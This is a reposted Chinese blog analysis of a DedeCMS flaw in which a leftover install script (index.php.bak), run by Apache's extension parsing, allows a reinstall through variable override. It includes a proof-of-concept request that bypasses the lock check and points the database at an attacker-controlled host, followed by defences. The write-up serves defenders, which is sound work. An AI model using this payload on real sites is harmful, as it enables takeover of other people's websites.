我是靠谱客的博主 失眠裙子,最近开发中收集的这篇文章主要介绍dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

概括梳理一下这个漏洞的成因

1. dedecms默认情况下安装完成之后,install安装目录并未删除,即安装脚本依然存在,只是被重命名为了index.php.bak文件
//Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak 
2. apache存在一个解析漏洞,即会递归的逐个解析文件的后缀,直到配对到一个可以正确处理的后缀处理函数(ext handler)
//例如index.php.bak会被当成index.php来解析
3. dedecms广泛采用了"本地变量注册"的模拟实现,即
/*
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
*/
这导致黑客可以通过传入指定关键变量以此改变代码的正常流程逻辑,以此绕过dedecms的"已安装状态检查"逻辑,实现重安装

Relevant Link:

http://zhanzhang.anquan.org/vul-detail/51b19a3ff159c80f0ab0b8a1/


2. 漏洞触发条件

1. install文件夹存在
2. apache解析漏洞

0x1: POC

http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4
POST: step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&
//其中dbhost可以改为远程的黑客控制的db,以此达到劫持的目的


3. 漏洞影响范围
4. 漏洞代码分析

/install/index.php.bak

..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
require_once(DEDEINC.'/common.func.php');
//黑客通过本地变量注入,修改$insLockfile的值,以此绕过dede的检测逻辑
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
..

Relevant Link:

http://www.cnseay.com/2956/


5. 防御方法

1. 删除install文件夹
or
2. 删除/install/index.php.bak
3. 允许用户使用重新安装的功能,但对index.php.bak进行修复

/install/index.php.bak

if( file_exists(dirname(__FILE__).'/install_lock.txt') )
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}


6. 攻防思考

在代码中的关键if判断处尽量避免使用变量,可以很大程度上防止本地变量覆盖导致的代码流黑黑客注入修改

 

Copyright (c) 2015 LittleHann All rights reserved

 

最后

以上就是失眠裙子为你收集整理的dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul的全部内容,希望文章能够帮你解决dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部